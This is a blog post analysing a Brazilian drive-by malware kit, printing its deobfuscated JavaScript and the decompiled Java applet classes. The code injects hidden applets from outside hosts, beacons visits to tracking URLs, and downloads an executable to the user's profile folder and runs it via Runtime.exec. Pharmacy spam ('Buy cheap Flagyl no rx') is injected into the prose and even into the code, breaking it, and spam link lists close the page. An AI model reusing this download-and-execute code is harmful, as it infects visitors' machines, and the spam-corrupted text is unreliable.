0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'));

I’m not going to bother breaking that up, it is just a mess anyway.  But in the end you get this very well formatted code:

   1: var jsm_report_on = true;

   2: var jsm_report_access = 'http://c.statcounter.com/7397725/0/d06ca43d/1/';

   3: var jsm_report_javaon = 'http://c.statcounter.com/7397829/0/58cba984/1/';

   4: var jsm_report_javaoff = 'http://c.statcounter.com/7415811/0/6dbe4166/1/';

   5: var jsm_report_loaded = 'http://c.statcounter.com/7415805/0/e6b0668f/1/';

   6: var jsm_report_loadfail = 'http://c.statcounter.com/7415819/0/56a1ce39/1/';

   7: var jsm_lab_on = true;

   8: var jsm_lab_access = 'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access';

   9: var jsm_lab_javaon = 'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon';

  10: var jsm_lab_javaoff = 'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff';

  11: var jsm_lab_loaded = 'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded';

  12: var jsm_lab_loadfail = 'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail';

  13: var jsm_loaded = false;

  14: var jsm_applet_index = 1;

  15: var jsm_applet_count = 200;

  16: var jsm_applet_prefix = 'a';

  17: var jsm_applet_url = 'http://advancedqualitysystem.com/Get/Get.php?a=/';

  18: var jsm_popunder_url = 'http://celularbom.com/js/clickpop.js';

  19:  

  20: function JSM_getAppletURL() {

  21:     //alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');

  22:     return jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar';

  23: }

  24:  

  25: function JSM_createIframe(src) {

  26:     var iframe = document.createElement('iframe');

  27:     iframe.src = src;

  28:     iframe.style.visibility = 'hidden';

  29:     iframe.style.display = 'inline';

  30:     iframe.style.margin = '0';

  31:     iframe.style.padding = '0';

  32:     iframe.style.border = 'none';

  33:     iframe.style.width = '0';

  34:     iframe.style.height = '0';

  35:     return iframe;

  36: }

  37:  

  38: function JSM_createScript(src) {

  39:     var script = document.createElement('script');

  40:     script.type = 'text/javascript';

  41:     script.src = src;

  42:     return script;

  43: }

  44:  

  45: function getXMLHttpRequest() {

  46:     if (window.XMLHttpRequest) return new window.XMLHttpRequest;

  47:     else {

  48:         try {

  49:             return new ActiveXObject("Microsoft.XMLHTTP");

  50:         } catch (ex) {

  51:             return null;

  52:         }

  53:     }

  54: }

  55:  

  56: function JSM_labReport(url) {

  57:     var oReq = getXMLHttpRequest();

  58:     if (oReq) {

  59:         oReq.onreadystatechange = function () {

  60:             if (oReq.readyState == 4) {

  61:                 if (oReq.status == 200) {

  62:                     //window.alert('from callback ' + oReq.responseText);

  63:                 }

  64:             }

  65:         };

  66:         oReq.open("GET", url, true);

  67:         oReq.send();

  68:     }

  69: }

  70:  

  71: function JSM_labReport2(url) {

  72:     var hhBody = document.body;

  73:     if (hhBody) {

  74:         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);

  75:     }

  76: }

  77:  

  78: function JSM_createImg(src) {

  79:     var img = document.createElement('img');

  80:     img.src = src;

  81:     return img;

  82: }

  83:  

  84: function JSM_createSpan(html) {

  85:     var span = document.createElement('span');

  86:     span.innerHTML = html;

  87:     return span;

  88: }

  89:  

  90: function JSM_getAppletHtml() {

  91:     return '<applet name="*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!" code="a.class" archive="' + JSM_getAppletURL() + '?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden">        <param name="l" value="http://smsfame.com/Get/Get.php?a=jre.exe"></param></applet>';

  92: }

  93:  

  94: function JSM_getAppletHtml_X() {

  95:     return '<applet name="*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!" code="a.class" archive="' + jsm_applet_url + 'javab.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden">        <param name="l" value="http://smsfame.com/Get/Get.php?a=jre.exe"></param></applet>';

  96: }

  97:  

  98: function JSM_onLoad() {

  99:     //report load success

 100:     if (jsm_report_on) JSM_createImg(jsm_report_loaded);

 101:     //if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);

 102:     if (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);

 103: }

 104:  

 105: function JSM_onLoadJavaX() {

 106:     JSM_createImg('http://c.statcounter.com/7455623/0/bd77ea2d/1/');

 107: }

 108:  

 109: function JSM_onLoadFail() {

 110:     //report load fail

 111:     if (jsm_report_on) JSM_createImg(jsm_report_loadfail);

 112:     //if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);

 113:     if (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);

 114:     if (jsm_applet_index < jsm_applet_count) {

 115:         jsm_applet_index++;

 116:         var hBody = document.body;

 117:         if (hBody) {

 118:             var html = JSM_getAppletHtml();

 119:             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);

 120:         }

 121:     }

 122: }

 123:  

 124: function JSM_onInit(hBody) {

 125:     //report access

 126:     if (jsm_report_on) JSM_createImg(jsm_report_access);

 127:     //if (jsm_lab_on) JSM_labReport(jsm_lab_access);

 128:     if (jsm_lab_on) JSM_labReport2(jsm_lab_access);

 129:     if (hBody) {

 130:         var html = '';

 131:         if (navigator.javaEnabled()) {

 132:             //java on

 133:             html = JSM_getAppletHtml() + ' ' + JSM_getAppletHtml_X();

 134:             //report java enabled access

 135:             if (jsm_report_on) JSM_createImg(jsm_report_javaon);

 136:             //if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);

 137:             if (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);

 138:             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);

 139:         } else {

 140:             //java off

 141:             if (typeof window.innerWidth != 'undefined') {

 142:                 viewportwidth = window.innerWidth;

 143:                 viewportheight = window.innerHeight;

 144:             } else if (typeof document.documentElement != 'undefined' && typeof document.documentElement.clientWidth != 'undefined' && document.documentElement.clientWidth != 0) {

 145:                 viewportwidth = document.documentElement.clientWidth;

 146:                 viewportheight = document.documentElement.clientHeight;

 147:             } else {

 148:                 viewportwidth = document.getElementsByTagName('body')[0].clientWidth;

 149:                 viewportheight = document.getElementsByTagName('body')[0].clientHeight;

 150:             }

 151:             //html = 'java is NOT enabled...';

 152:             html = '<div id="xyz_light_cont" style="display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none"><div id="xyz_light" style="display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;"><!--<div style="text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272">--><div style="font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left">Atenção</div><div style="padding: 6px; background-color: #fff"><div style="text-align: right;"><a style="text-decoration: underline; color: blue" href="javascript:void(0)" onclick="document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'">Fechar</a></div><div style="padding-top: 8px; text-align: center"><img margin: 5px; padding: 0" src="http://s1.postimage.org/317sn151g/java.jpg" /></div><div style="padding: 10px 0 25px 0; text-align: center; font-weight: bold">Você não possui Java ou ele está desabilitado.<br />Esta página possui recursos que requerem que o Java esteja ativado.<br /><br /><a target="_blank" href="http://www.java.com/pt_BR/download/">Clique aqui para instalar o plugin do Java.</a></div><!--</div>--></div></div></div>' + '' + '<div id="xyz_fade" style="display: none; position: absolute; top: 0; left: 0; width: ' + viewportwidth + 'px; height: ' + viewportheight + 'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)"></div>';

 153:             /**/

 154:             //report java disabled access

 155:             if (jsm_report_on) JSM_createImg(jsm_report_javaoff);

 156:             //if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);

 157:             if (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);

 158:             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);

 159:             document.getElementById('xyz_light_cont').style.display = 'block';

 160:             document.getElementById('xyz_light').style.display = 'block';

 161:             document.getElementById('xyz_fade').style.display = 'block';

 162:         }

 163:         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);

 164:     }

 165: }

 166:  

 167: function JSM_onCreate() {

 168:     if (jsm_loaded) return;

 169:     var myBody = document.body;

 170:     if (myBody) {

 171:         jsm_loaded = true;

 172:         JSM_onInit(myBody);

 173:     } else {

 174:         setTimeout("JSM_onCreate()", 100);

 175:     }

 176: }

 177:  

 178: function WindowOnload(f) {

 179:     var prev = window.onload;

 180:     window.onload = function () {

 181:         if (prev) prev();

 182:         f();

 183:     }

 184: }

 185: WindowOnload(JSM_onCreate);

 186: setTimeout("JSM_onCreate()", 7000);

 187: /*

 188: msg = d_hex( d_b64( ?. ) );

 189: NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2

 190: NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1

 191: NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2

 192: MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy

 193: NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2

 194: MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy

 195: NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2

 196: MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw

 197: MzEzMTJmMzEzMTJmMzEzMQ==

 198: 

 199: */

 

Now, some parts are more interesting than others.  The end if the file just seems base64 encoded…cause it is.  OK un-base64, you get a wall of numbers.   But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.  Convert the tex to text and you see this:

Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.

Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.


Um abraço, do seu amigo Psychlo.


by Psychlo - 11/11/11

Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.  Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or Gronings!  Cause you know every girl wants to hear, “Hey babe, I speak Gronings.”  Note: my mother speaks Gronings.

Greetings to my coworkers crimesciberneticos.com blog.

Knowing that we know nothing beyond good and evil, purchase Flagyl, after all the only thing absolute is that everything is relative.


A hug, your friend Psychlo.


by Psychlo - 11/11/11

 

Anyway, one of the things this code is trying to do is run a Java applet.  But do take a look that the rest of that code, some of it will come in handy later.

  Here is where that is happening:

   1: function JSM_getAppletHtml() {

   2:     return '<applet name="*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!" code="a.class" archive="' + JSM_getAppletURL() + '?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden">        <param name="l" value="http://smsfame.com/Get/Get.php?a=jre.exe"></param></applet>';

   3: }

Which is indirecteeze for:

   1: <applet name="*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!" code="a.class" archive="http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646" width="0" height="0"  style="visibility: hidden">        <param name="l" value="http://smsfame.com/Get/Get.php?a=jre.exe"></param></applet>

OK, now I have the url for the Java applet, plus the entry point class (a.class).   I can download that now.  With the applet in hand, generic Flagyl, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.

You get 5 classes:

a.java

   1: import java.applet.Applet;

   2:  

   3: public class a extends Applet

   4: {

   5:  

   6:     public a()

   7:     {

   8:     }

   9:  

  10:     public void init()

  11:     {

  12:         c_gP c_gp = new c_gP();

  13:         c_ed c_ed1 = new c_ed();

  14:         c_js c_js1 = new c_js();

  15:         String s = (new StringBuilder()).append(c_gp.gP(8)).append(".").append("ln").append("k").toString();

  16:         String s1 = (new StringBuilder()).append(c_gp.gP(8)).append(".l").append("n").append("k").toString();

  17:         try

  18:         {

  19:             String s2 = System.getenv("ALLUSERSPROFILE");

  20:             String s3 = getParameter("l");

  21:             if(s2 != null)

  22:             {

  23:                 String s4 = "ht";

  24:                 String s5 = "tp";

  25:                 String s6 = ":";

  26:                 String s7 = "//";

  27:                 String s8 = "dl";

  28:                 String s9 = ".drop";

  29:                 String s10 = "box.";

  30:                 String s11 = "com/u/41185898/";

  31:                 String s12 = "a.gif";

  32:                 c_ed1.ed((new StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (new StringBuilder()).append(s2).append("\\").append(s1).toString(), this);

  33:                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append("\\").append(s).toString(), Buy cheap Flagyl no rx, this);

  34:             }

  35:         }

  36:         catch(Exception exception)

  37:         {

  38:             c_js1.js("JSM_onLoadFail", this);

  39:         }

  40:     }

  41: }

c_gP.java

   1: class c_gP

   2: {

   3:     c_gP()

   4:     {

   5:     }

   6:  

   7:     public static String gP(int i)

   8:     {

   9:         char ac[] = new char[i];

  10:         int j = 65;

  11:         boolean flag = false;

  12:         for(int l = 0; l < i; l++)

  13:         {

  14:             int k = (int)(Math.random() * 3D);

  15:             switch(k)

  16:             {

  17:             case 0: // '\0'

  18:                 j = 48 + (int)(Math.random() * 10D);

  19:                 break;

  20:  

  21:             case 1: // '\001'

  22:                 j = 97 + (int)(Math.random() * 26D);

  23:                 break;

  24:  

  25:             case 2: // '\002'

  26:                 j = 65 + (int)(Math.random() * 26D);

  27:                 break;

  28:             }

  29:             ac[l] = (char)j;

  30:         }

  31:  

  32:         return new String(ac);

  33:     }

  34: }

c_de.java

   1: import java.io.*;

   2: import java.net.URL;

   3: import java.net.URLConnection;

   4:  

   5: class c_de

   6: {

   7:     c_de()

   8:     {

   9:     }

  10:     public boolean de(String s, String s1)

  11:     {

  12:         try

  13:         {

  14:             String s2 = s1;

  15:             BufferedOutputStream bufferedoutputstream = null;

  16:             InputStream inputstream = null;

  17:             URL url = new URL(s);

  18:             bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(s2));

  19:             URLConnection urlconnection = url.openConnection();

  20:             inputstream = urlconnection.getInputStream();

  21:             byte abyte0[] = new byte[1024];

  22:             int i;

  23:             for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)

  24:                 bufferedoutputstream.write(abyte0, 0, i);

  25:  

  26:             if(inputstream != null)

  27:                 inputstream.close();

  28:             if(bufferedoutputstream != null)

  29:                 bufferedoutputstream.close();

  30:             return true;

  31:         }

  32:         catch(Exception exception)

  33:         {

  34:             return false;

  35:         }

  36:     }

  37: }

c_ed.java

   1: import java.applet.Applet;

   2:  

   3: class c_ed

   4: {

   5:     c_ed()

   6:     {

   7:     }

   8:  

   9:     public void ed(String s, String s1, Buy Flagyl without a prescription, Applet applet)

  10:     {

  11:         try

  12:         {

  13:             c_js c_js1 = new c_js();

  14:             c_de c_de1 = new c_de();

  15:             int i = 0;

  16:             do

  17:             {

  18:                 if(i >= 5)

  19:                     break;

  20:                 if(c_de1.de(s, s1))

  21:                 {

  22:                     Process process = null;

  23:                     process = Runtime.getRuntime().exec(s1);

  24:                     if(process != null)

  25:                     {

  26:                         c_js1.js("JSM_onLoad", applet);

  27:                         break;

  28:                     }

  29:                 }

  30:                 i++;

  31:             } while(true);

  32:         }

  33:         catch(Exception exception) { }

  34:     }

  35: }

c_js.java

   1: import java.applet.Applet;

   2: import java.applet.AppletContext;

   3: import java.net.URL;

   4:  

   5: class c_js

   6: {

   7:     c_js()

   8:     {

   9:     }

  10:  

  11:     public void js(String s, Applet applet)

  12:     {

  13:         String s1 = "vascri";

  14:         try

  15:         {

  16:             applet.getAppletContext().showDocument(new URL((new StringBuilder()).append("ja").append(s1).append("pt:").append(s).append("();").toString()));

  17:         }

  18:         catch(Exception exception) { }

  19:     }

  20: }

 

ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.  I like the way they break up “ja-vascri-pt:”

c_ed calls the javascript function JSM_onLoad  (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.

c_de, I could be missing something, but it looks like that code can download near anything.  Kind of scary that one.

c_gP, I will need a Java expert for that.  Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).

a, this one is the entry point for the applet.  It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).

Where did this go?

OK, I spent a couple of hours on this, Where can i buy cheapest Flagyl online, part of that is writing this up, so this is kind of a mad dash.  But it looks like the point was to load random images onto the page.  But someone else can look that up.

Now the rest of the ethical delima: should I have posted this?  Personally I think there are valuable things to learn from reading code like this.  And it is always good to know what the “other side” is doing.  But is posting the code more harm than good?

Tell me what you think.  If you convince me I did wrong, some of this may go away.

.

Similar posts: Spiriva For Sale. Colchicine For Sale. Buy Levaquin Without Prescription. Buy Alesse (Ovral L) Without Prescription. Buy Betnovate Without Prescription. Purchase Celebrex for sale. After Cephalexin. No prescription Nexium online. Toradol long term. Aldactone pics.
Trackbacks from: Flagyl For Sale. Flagyl For Sale. Flagyl For Sale. Flagyl For Sale. Flagyl For Sale. What is Flagyl. Where to buy Flagyl. Canada, mexico, india. Flagyl trusted pharmacy reviews. Japan, craiglist, ebay, overseas, paypal.